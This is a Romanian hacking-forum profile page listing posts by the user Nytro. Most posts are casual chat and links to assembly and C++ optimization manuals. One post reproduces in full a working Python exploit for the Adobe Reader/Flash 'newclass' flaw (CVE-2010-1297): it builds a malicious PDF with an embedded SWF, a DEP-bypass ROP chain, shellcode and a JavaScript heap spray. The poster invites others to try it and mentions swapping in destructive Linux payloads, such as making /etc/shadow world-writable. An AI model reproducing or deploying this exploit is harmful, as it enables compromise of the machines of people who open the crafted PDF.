Jump to content

Nytro

Administrators
  • Posts

    18580
  • Joined

  • Last visited

  • Days Won

    643

Everything posted by Nytro

  1. Voi nu aveti nici o pasiune? Stati toata ziua in casa si nu faceti nimic? Omul face ce ii place... Poate vi se pare putin ciudat, si mie mi se pare, dar e chiar interesant. Bine, eu nu as face asa ceva
  2. Probabil kernelul trebuie sa fie compilat cu anumite optiuni...
  3. Programul nu e vechi de 5 ani, eram ironic. In primul rand, ca totul sa se desfasoare ca la care, ar trebui sa analizeze fiecare program inainte de a posta. Tu ai sta o ora, doua sa analizezi un fisier inainte sa il postezi? Si cu virustotal s-a tot explicat, daca e ceva nedetectabil si scanezi acolo, e trimis la echipele de antivirusi care il verifica si astfel devine detectabil. M-am plictisit de astfel de discutii...
  4. Nu tot ce e detectat e "rau". E un RAT, e normal sa fie foarte detectat la 5 ani de la aparitie. Ce ti se pare asa suspect in scanarea de pe Anubis?
  5. Nicolae Guta & Play AJ - Sunt tare
  6. Si mie imi mai zicea ca e fisierul corupt, dar ca il repara. Voua v-a aparut asa ceva? Edit: Detalii: http://www.exploit-db.com/download_pdf/14863 A incercat si fratimio pe Windows 7 si nu a mers
  7. MOAUB #1 - Adobe Acrobat Reader and Flash Player "newclass" invalid pointer ''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 1 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/adobe-acrobat-newclass-invalid-pointer-vulnerability/ http://www.exploit-db.com/sploits/moaub1-adobe-newclass.tar.gz Title : Adobe Acrobat Reader and Flash Player “newclass” invalid pointer vulnerability Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Ciritical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-1297 MOAUB Number : MOAUB-01-BA ''' import sys class PDF: def __init__(self): self.xrefs = [] self.eol = '\x0a' self.content = '' self.xrefs_offset = 0 def header(self): self.content += '%PDF-1.6' + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num if flag == 1: self.content += self.eol + '<< ' + data + ' >>' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream)) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Length %d' %len(stream) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def ref(self, ref_num): return '%d 0 R' % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += 'xref' + self.eol self.content += '0 %d' % (len(self.xrefs) + 1) self.content += self.eol self.content += '0000000000 65535 f' + self.eol for i in self.xrefs: self.content += '%010d 00000 n' % i self.content += self.eol def trailer(self): self.content += 'trailer' + self.eol self.content += '<< /Size %d' % (len(self.xrefs) + 1) self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol self.content += 'startxref' + self.eol self.content += '%d' % self.xrefs_offset self.content += self.eol self.content += '%%EOF' def generate(self): return self.content class Exploit: def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # shellcode calc.exe payload =("\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" "\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C" "\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C" "\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52" "\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44" "\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54" "\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45" "\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F" "\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50" "\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C" "\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41") return payload def getSWF(self): try: #swfFile = sys.argv[2] fdR = open('flash.swf', 'rb+') strTotal = fdR.read() str1 = strTotal[:88] addr1 = '\x06\xa6\x17\x30' # addr = 0c0c0c0c str2 = strTotal[92:533] #*************************** Bypass DEP by VirtualProtect ******************************** rop = '' rop += "\x77\xFA\x44\x7E" # mov edi,esp ret 4 rop += "\x94\x28\xc2\x77" #add esp,20 pop ebp ret rop += "AAAA" #padding rop += "\xD4\x1A\x80\x7C" # VirtualProtect rop += "BBBB" # Ret Addr for VirtualProtect rop += "CCCC" # Param1 (lpAddress) rop += "DDDD" # Param2 (Size) rop += "EEEE" # Param3 (flNewProtect) rop += "\x10\xB0\xEF\x77" # Param4 (Writable Address) rop += "AAAAAAAAAAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xF2\xE1\x12\x06" #add eax,94 ret rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4 rop += "\x16\x9A\x94\x7C" #mov [ebp-30],eax ret rop += "AAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xF2\xE1\x12\x06" #add eax,94 ret rop += "\x79\x9E\x83\x7C" #mov [ebp-2c],eax ret rop += "\x27\x56\xEA\x77" #mov eax,6b3 ret rop += "\x14\x83\xE0\x77" #mov [ebp-28],eax ret rop += "\xB4\x01\xF2\x77" #xor eax,eax ret rop += "\x88\x41\x97\x7C" #add eax,40 pop ebp ret rop += "AAAA" #padding rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4 rop += "\xC0\x9E\xEF\x77" #mov [ebp-54],eax ret rop += "AAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xC1\xF2\xC1\x77" #add eax,8 ret rop += "\xCF\x97\xDE\x77" #xchg eax,esp ret str3 = strTotal[669:1249] alignESP = "\x83\xc4\x03" sc = self.get_payload() if len(sc) > 2118: print "[*] Error : payload length is long" return if len(sc) <= 2118: dif = 2118 - len(sc) while dif > 0 : sc += '\x90' dif = dif - 1 str4 = strTotal[3370:3726] addr2 = '\xF2\x3D\x8D\x23' # Enter 0C75 , 81 RET str5 = strTotal[3730:] fdW= open('exploit.swf', 'wb+') finalStr = str1+addr1+str2+rop+str3+alignESP+sc+str4+addr2+str5 fdW.write(finalStr) #strTotal = open('exploit.swf', 'rb+').read() fdW.close() fdR.close() return finalStr except IOError: print '[*] Error : An IO error has occurred' def HeapSpray(self): spray = ''' function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x1A0000; pointers = unescape("??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????"); pointerSled = unescape("<Contents>"); while (pointerSled.length < chunk_size) pointerSled += pointerSled; pointerSled_len = chunk_size - (pointers.length + 20); pointerSled = pointerSled.substring(0, pointerSled_len); heap_chunks = new Array(); for (var i = 0 ; i < <CHUNKS> ; i++) heap_chunks[i] = pointerSled + pointers; } spray_heap(); ''' spray = spray.replace('<Contents>', '??') # Pointer to XCHG ESP , EBX ''' Authplay.dll 303033DD ? 87DC XCHG ESP,EBX ############################################################# will do nothing 303033DF ? 45 INC EBP 303033E0 ? 05 00898784 ADD EAX,84878900 303033E5 ? 42 INC EDX 303033E6 ? 05 008987E8 ADD EAX,E8878900 303033EB ? 41 INC ECX 303033EC ? 05 008987EC ADD EAX,EC878900 303033F1 ? 41 INC ECX 303033F2 ? 05 008987F0 ADD EAX,F0878900 303033F7 ? 41 INC ECX 303033F8 ? 05 008987F4 ADD EAX,F4878900 303033FD ? 41 INC ECX 303033FE ? 05 005F5E5D ADD EAX,5D5E5F00 30303403 . B8 01000000 MOV EAX,1 30303408 . 5B POP EBX ############################################################ 30303409 . 83C4 30 ADD ESP,30 3030340C . C3 RETN ''' spray = spray.replace('<CHUNKS>', '40') #Chunk count return spray def generate_pdf(): exploit = Exploit() swfFile = 'exploit.swf' pdf = PDF() pdf.header() pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) + ' /OpenAction ' + pdf.ref(17),1) #pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1) pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1) pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1) pdf.obj_Stream(4, '','') pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1) pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1) pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',exploit.getSWF() ) pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1) pdf.obj_Stream(16, '<</Length 0 >> ','') pdf.obj(17, '/Type /Action /S /JavaScript /JS (%s)' % exploit.HeapSpray(),1) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print 'Usage: python %s [output file name]' % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith('.pdf'): file_name = file_name + '.pdf' try: fd = open(file_name, 'wb+') fd.write(generate_pdf()) fd.close() print '[-] PDF file generated and written to %s' % file_name except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main() Sursa: MOAUB #1 - Adobe Acrobat Reader and Flash Player ?newclass? invalid pointer Eu l-am incercat pe Linux, dar nu a mers. Bine, am schimbat shellcode-ul intr-unul pentru Linux, am incercat si cu "reboot" si cu "kill all processes" si cu "chmod 0666 si 0777 /etc/shadow" si nu a mers. nytro@rst:~> uname -r 2.6.34-12-default Astept sa il incerce cineva pe Windows. Luati si voi asta: http://www.exploit-db.com/sploits/moaub1-adobe-newclass.tar.gz Sa postati aici ce ati reusit Edit: Detalii http://www.exploit-db.com/download_pdf/14863
  8. svchost vine de la SerViCe HOST. Adica se ocupa de serviciile care ruleaza, astea fiind tot niste procese.
  9. Stealer-ele sunt niste prostii. Sunt multi care le folosesc, dar pentru ce anume? Nici ei nu stiu. Ia o gramada de conturi si ce fac cu ele? Nimic. In nici un caz nu as fi de acord cu asa ceva. In primul rand nu as fi de acord din punct de vedere etic, e furt informational, adica furt. Si mai ziceti de aia care fura in strainatate, pai si astia ce plm fac? Apoi, mi se pare foarte stupid, foarte "script kiddie" si nu orice script kidding ci unul complet inutil. Deci, porcarie.
  10. Nytro

    [PERL] Ajutor

    Foarte probabil exploitul nu mai e functional. Oricum, iti trebuie o lista cu parole, si asta face bruteforce. Ai dat 5 argumente in linia de comanda? Si ce anume ai modificat?
  11. Nytro

    Raid-uri

    Mie mi se par o prostie, dar daca am timp fac un script care sa posteze automat sau ce faceti voi acolo
  12. Optimizing subroutines in assembly language An optimization guide for x86 platforms Contents 1 Introduction ....................................................................................................................... 4 1.1 Reasons for using assembly code .............................................................................. 5 1.2 Reasons for not using assembly code ........................................................................ 5 1.3 Microprocessors covered by this manual .................................................................... 6 1.4 Operating systems covered by this manual................................................................. 7 2 Before you start................................................................................................................. 7 2.1 Things to decide before you start programming .......................................................... 7 2.2 Make a test strategy.................................................................................................... 9 2.3 Common coding pitfalls............................................................................................... 9 3 The basics of assembly coding........................................................................................ 12 3.1 Assemblers available................................................................................................ 12 3.2 Register set and basic instructions............................................................................ 14 3.3 Addressing modes .................................................................................................... 18 3.4 Instruction code format ............................................................................................. 24 3.5 Instruction prefixes.................................................................................................... 25 4 ABI standards.................................................................................................................. 27 4.1 Register usage.......................................................................................................... 27 4.2 Data storage ............................................................................................................. 28 4.3 Function calling conventions ..................................................................................... 28 4.4 Name mangling and name decoration ...................................................................... 30 4.5 Function examples.................................................................................................... 30 5 Using intrinsic functions in C++ ....................................................................................... 33 5.1 Using intrinsic functions for system code .................................................................. 34 5.2 Using intrinsic functions for instructions not available in standard C++ ..................... 35 5.3 Using intrinsic functions for vector operations ........................................................... 35 5.4 Availability of intrinsic functions................................................................................. 35 6 Using inline assembly in C++ .......................................................................................... 35 6.1 MASM style inline assembly ..................................................................................... 36 6.2 Gnu style inline assembly ......................................................................................... 41 7 Using an assembler......................................................................................................... 44 7.1 Static link libraries..................................................................................................... 45 7.2 Dynamic link libraries................................................................................................ 46 7.3 Libraries in source code form.................................................................................... 47 7.4 Making classes in assembly...................................................................................... 48 7.5 Thread-safe functions ............................................................................................... 49 7.6 Makefiles ..................................................................................................................50 8 Making function libraries compatible with multiple compilers and platforms..................... 51 8.1 Supporting multiple name mangling schemes........................................................... 51 8.2 Supporting multiple calling conventions in 32 bit mode ............................................. 53 8.3 Supporting multiple calling conventions in 64 bit mode ............................................. 55 8.4 Supporting different object file formats...................................................................... 57 8.5 Supporting other high level languages ...................................................................... 58 9 Optimizing for speed ....................................................................................................... 59 9.1 Identify the most critical parts of your code ............................................................... 59 9.2 Out of order execution .............................................................................................. 59 2 9.3 Instruction fetch, decoding and retirement ................................................................ 62 9.4 Instruction latency and throughput ............................................................................ 63 9.5 Break dependency chains......................................................................................... 64 9.6 Jumps and calls ........................................................................................................ 65 10 Optimizing for size......................................................................................................... 72 10.1 Choosing shorter instructions.................................................................................. 72 10.2 Using shorter constants and addresses .................................................................. 73 10.3 Reusing constants .................................................................................................. 75 10.4 Constants in 64-bit mode ........................................................................................ 75 10.5 Addresses and pointers in 64-bit mode................................................................... 75 10.6 Making instructions longer for the sake of alignment............................................... 77 11 Optimizing memory access............................................................................................ 80 11.1 How caching works................................................................................................. 80 11.2 Trace cache............................................................................................................ 81 11.3 Alignment of data.................................................................................................... 82 11.4 Alignment of code ................................................................................................... 84 11.5 Organizing data for improved caching..................................................................... 86 11.6 Organizing code for improved caching.................................................................... 86 11.7 Cache control instructions....................................................................................... 87 12 Loops ............................................................................................................................ 87 12.1 Minimize loop overhead .......................................................................................... 87 12.2 Induction variables.................................................................................................. 90 12.3 Move loop-invariant code........................................................................................ 91 12.4 Find the bottlenecks................................................................................................ 91 12.5 Instruction fetch, decoding and retirement in a loop ................................................ 92 12.6 Distribute µops evenly between execution units...................................................... 92 12.7 An example of analysis for bottlenecks on PM........................................................ 93 12.8 Same example on Core2 ........................................................................................ 96 12.9 Loop unrolling ......................................................................................................... 98 12.10 Optimize caching ................................................................................................ 100 12.11 Parallelization ..................................................................................................... 101 12.12 Analyzing dependences...................................................................................... 102 12.13 Loops on processors without out-of-order execution........................................... 105 12.14 Macro loops ........................................................................................................ 107 13 Vector programming.................................................................................................... 109 13.1 Conditional moves in SIMD registers .................................................................... 110 13.2 Using vector instructions with other types of data than they are intended for ........ 113 13.3 Shuffling data........................................................................................................ 115 13.4 Generating constants............................................................................................ 118 13.5 Accessing unaligned data ..................................................................................... 121 13.6 Using AVX instruction set and YMM registers ....................................................... 125 13.7 Vector operations in general purpose registers ..................................................... 130 14 Multithreading.............................................................................................................. 131 14.1 Hyperthreading ..................................................................................................... 132 15 CPU dispatching.......................................................................................................... 132 15.1 Checking for operating system support for XMM and YMM registers .................... 134 16 Problematic Instructions .............................................................................................. 135 16.1 LEA instruction (all processors)............................................................................. 135 16.2 INC and DEC (all Intel processors) ....................................................................... 136 16.3 XCHG (all processors) .......................................................................................... 136 16.4 Shifts and rotates (P4) .......................................................................................... 136 16.5 Rotates through carry (all processors) .................................................................. 137 16.6 Bit test (all processors) ......................................................................................... 137 16.7 LAHF and SAHF (all processors) .......................................................................... 137 16.8 Integer multiplication (all processors).................................................................... 137 16.9 Division (all processors)........................................................................................ 137 16.10 String instructions (all processors) ...................................................................... 142 16.11 WAIT instruction (all processors) ........................................................................ 143 3 16.12 FCOM + FSTSW AX (all processors).................................................................. 144 16.13 FPREM (all processors) ...................................................................................... 145 16.14 FRNDINT (all processors)................................................................................... 145 16.15 FSCALE and exponential function (all processors) ............................................. 145 16.16 FPTAN (all processors)....................................................................................... 147 16.17 FSQRT (SSE processors)................................................................................... 147 16.18 FLDCW (Most Intel processors) .......................................................................... 147 17 Special topics .............................................................................................................. 148 17.1 XMM versus floating point registers (Processors with SSE).................................. 148 17.2 MMX versus XMM registers (Processors with SSE2)............................................ 149 17.3 XMM versus YMM registers (Processors with AVX).............................................. 149 17.4 Freeing floating point registers (all processors)..................................................... 150 17.5 Transitions between floating point and MMX instructions (Processors with MMX). 150 17.6 Converting from floating point to integer (All processors) ...................................... 150 17.7 Using integer instructions for floating point operations .......................................... 152 17.8 Using floating point instructions for integer operations .......................................... 154 17.9 Moving blocks of data (All processors).................................................................. 155 17.10 Self-modifying code (All processors) ................................................................... 156 18 Measuring performance............................................................................................... 156 18.1 Testing speed ....................................................................................................... 156 18.2 The pitfalls of unit-testing ...................................................................................... 158 19 Literature..................................................................................................................... 158 20 Copyright notice .......................................................................................................... 159 Download: http://www.speedyshare.com/files/24051425/optimizing_assembly.pdf
  13. Optimizing software in C++ An optimization guide for Windows, Linux and Mac platforms Contents 1 Introduction ....................................................................................................................... 3 1.1 The costs of optimizing ............................................................................................... 4 2 Choosing the optimal platform........................................................................................... 4 2.1 Choice of hardware platform....................................................................................... 4 2.2 Choice of microprocessor ........................................................................................... 6 2.3 Choice of operating system......................................................................................... 6 2.4 Choice of programming language ............................................................................... 7 2.5 Choice of compiler ...................................................................................................... 9 2.6 Choice of function libraries........................................................................................ 11 2.7 Choice of user interface framework........................................................................... 13 2.8 Overcoming the drawbacks of the C++ language...................................................... 14 3 Finding the biggest time consumers ................................................................................ 15 3.1 How much is a clock cycle? ...................................................................................... 15 3.2 Use a profiler to find hot spots .................................................................................. 16 3.3 Program installation .................................................................................................. 18 3.4 Automatic updates .................................................................................................... 18 3.5 Program loading ....................................................................................................... 19 3.6 Dynamic linking and position-independent code ....................................................... 19 3.7 File access................................................................................................................21 3.8 System database ...................................................................................................... 21 3.9 Other databases ....................................................................................................... 21 3.10 Graphics and other system resources..................................................................... 22 3.11 Network access ...................................................................................................... 22 3.12 Memory access....................................................................................................... 22 3.13 Context switches..................................................................................................... 22 3.14 Dependency chains ................................................................................................ 23 3.15 Execution unit throughput ....................................................................................... 23 4 Performance and usability ............................................................................................... 23 5 Choosing the optimal algorithm....................................................................................... 25 6 Development process...................................................................................................... 26 7 The efficiency of different C++ constructs........................................................................ 26 7.1 Different kinds of variable storage............................................................................. 26 7.2 Integers variables and operators............................................................................... 29 7.3 Floating point variables and operators ...................................................................... 31 7.4 Enums ......................................................................................................................33 7.5 Booleans................................................................................................................... 33 7.6 Pointers and references............................................................................................ 35 7.7 Function pointers ...................................................................................................... 37 7.8 Member pointers....................................................................................................... 37 7.9 Smart pointers .......................................................................................................... 38 7.10 Arrays ..................................................................................................................... 38 7.11 Type conversions.................................................................................................... 40 7.12 Branches and switch statements............................................................................. 43 7.13 Loops...................................................................................................................... 45 7.14 Functions ................................................................................................................ 47 2 7.15 Function parameters ............................................................................................... 49 7.16 Function return types .............................................................................................. 50 7.17 Structures and classes............................................................................................ 50 7.18 Class data members (properties) ............................................................................ 51 7.19 Class member functions (methods)......................................................................... 52 7.20 Virtual member functions ........................................................................................ 53 7.21 Runtime type identification (RTTI)........................................................................... 53 7.22 Inheritance.............................................................................................................. 53 7.23 Constructors and destructors .................................................................................. 54 7.24 Unions ....................................................................................................................54 7.25 Bitfields................................................................................................................... 55 7.26 Overloaded functions .............................................................................................. 55 7.27 Overloaded operators ............................................................................................. 55 7.28 Templates............................................................................................................... 56 7.29 Threads .................................................................................................................. 59 7.30 Exceptions and error handling ................................................................................ 60 7.31 Other cases of stack unwinding .............................................................................. 63 7.32 Preprocessing directives......................................................................................... 64 7.33 Namespaces........................................................................................................... 64 8 Optimizations in the compiler .......................................................................................... 64 8.1 How compilers optimize ............................................................................................ 64 8.2 Comparison of different compilers............................................................................. 72 8.3 Obstacles to optimization by compiler....................................................................... 76 8.4 Obstacles to optimization by CPU............................................................................. 79 8.5 Compiler optimization options ................................................................................... 79 8.6 Optimization directives.............................................................................................. 81 8.7 Checking what the compiler does ............................................................................. 82 9 Optimizing memory access ............................................................................................. 85 9.1 Caching of code and data ......................................................................................... 85 9.2 Cache organization................................................................................................... 85 9.3 Functions that are used together should be stored together...................................... 87 9.4 Variables that are used together should be stored together ...................................... 87 9.5 Alignment of data...................................................................................................... 88 9.6 Dynamic memory allocation...................................................................................... 89 9.7 Container classes ..................................................................................................... 91 9.8 Strings ...................................................................................................................... 94 9.9 Access data sequentially .......................................................................................... 94 9.10 Cache contentions in large data structures ............................................................. 95 9.11 Explicit cache control .............................................................................................. 97 10 Multithreading................................................................................................................ 99 10.1 Hyperthreading ..................................................................................................... 101 11 Out of order execution................................................................................................. 101 12 Using vector operations............................................................................................... 103 12.1 AVX instruction set and YMM registers................................................................. 104 12.2 Automatic vectorization......................................................................................... 105 12.3 Explicit vectorization ............................................................................................. 107 12.4 Mathematical functions for vectors........................................................................ 120 12.5 Aligning dynamically allocated memory................................................................. 122 12.6 Aligning RGB video or 3-dimensional vectors ....................................................... 122 12.7 Conclusion............................................................................................................ 123 13 Make critical code in multiple versions for different CPUs............................................ 123 13.1 CPU dispatch strategies........................................................................................ 124 13.2 Test and maintenance .......................................................................................... 126 13.3 Implementation ..................................................................................................... 126 13.4 CPU dispatching in Gnu compiler ......................................................................... 128 13.5 CPU dispatching in Intel compiler ......................................................................... 129 14 Specific optimization tips ............................................................................................. 135 14.1 Use lookup tables ................................................................................................. 135 3 14.2 Bounds checking .................................................................................................. 137 14.3 Use bitwise operators for checking multiple values at once................................... 138 14.4 Integer multiplication............................................................................................. 139 14.5 Integer division...................................................................................................... 140 14.6 Floating point division ........................................................................................... 142 14.7 Don’t mix float and double..................................................................................... 143 14.8 Conversions between floating point numbers and integers ................................... 144 14.9 Using integer operations for manipulating floating point variables......................... 145 14.10 Mathematical functions ....................................................................................... 148 15 Metaprogramming ....................................................................................................... 149 16 Testing speed.............................................................................................................. 152 16.1 The pitfalls of unit-testing ...................................................................................... 154 16.2 Worst-case testing ................................................................................................ 154 17 Overview of compiler options....................................................................................... 156 18 Literature..................................................................................................................... 159 19 Copyright notice .......................................................................................................... 160 Download: http://www.speedyshare.com/files/24051378/optimizing_cpp.pdf
  14. A very useful, compact list containing all instructions for the Intel x86 Assembly Language. http://www.jegerlehner.ch/intel/IntelCodeTable.pdf
  15. PC Assembly Language by Dr Paul A. Carter Download: http://www.speedyshare.com/files/24051281/pcasm-book-pdf.zip
  16. The Art of Assembly Language Programming by Randall Hyde Download: http://www.speedyshare.com/files/24051264/pdfaoa.zip
  17. IA-32 Intel® Architecture Software Developer's Manual (Volume 1 - Basic Architecture) Download: http://www.speedyshare.com/files/24051156/25366516.zip IA-32 Intel® Architecture Software Developer's Manual (Volume 2A: Instruction Set Reference, A-M) Download: http://www.speedyshare.com/files/24051185/25366616.zip IA-32 Intel® Architecture Software Developer's Manual (Volume 2B: Instruction Set Reference, N-Z) Download: http://www.speedyshare.com/files/24051204/25366716.zip IA-32 Intel® Architecture Software Developer's Manual (Volume 3: System Programming Guide) http://www.speedyshare.com/files/24051217/25366816.zip © Intel, Corp.
  18. In sfarsit un tutorial de calitate
  19. Aaaa, e unul din ratatii cu Elite-Spula care dadea DDOS la RST.
  20. Nu as putea sa dau in EvilKnight aka necunoscut1 asta, are fata de fetita
  21. http://www.netinfinity.org/screenshots/scrns/upe5.png http://www.netinfinity.org/screenshots/scrns/upe3.png Imi place grafica
  22. Deci necunoscut1 e EViL][NiGhT ala de 12 ani?
  23. Nytro

    Sugestie :)

    Uite de ce nu le sterg. In trecut, cand mai faceam cate un programel, si eu faceam la fel. Faceam un cont, si postam programul. De multe ori nu sunt postate programe infectate de cel care le posteaza, ci sunt copiate de pe alte site-uri.
  24. @necunoscut1 Cu Ne0h a inceput ca o gluma, nu am avut nici o tangenta cu el. Dar vad ca exista oameni mai periculosi ca el, cei ca tine. Pai spune si tu mai intai de unde esti, poate o sa ne cunostem Edit: Brasov...
  25. "2) toti idiotii incearca dupa ce citesc asta;" - E o curiozitate, normal ca incerci. "4) zambesti acum pentru ca esti un idiot;" - Nu am zambit "5) vei trimite mai departe unui alt idiot;" - Asta e de fapt: "Trebuie sa fi si mai idiot sa trimiti mai departe" "6) inca mai ai un zambet pe fata..." - Tot nu am zambit
×
×
  • Create New...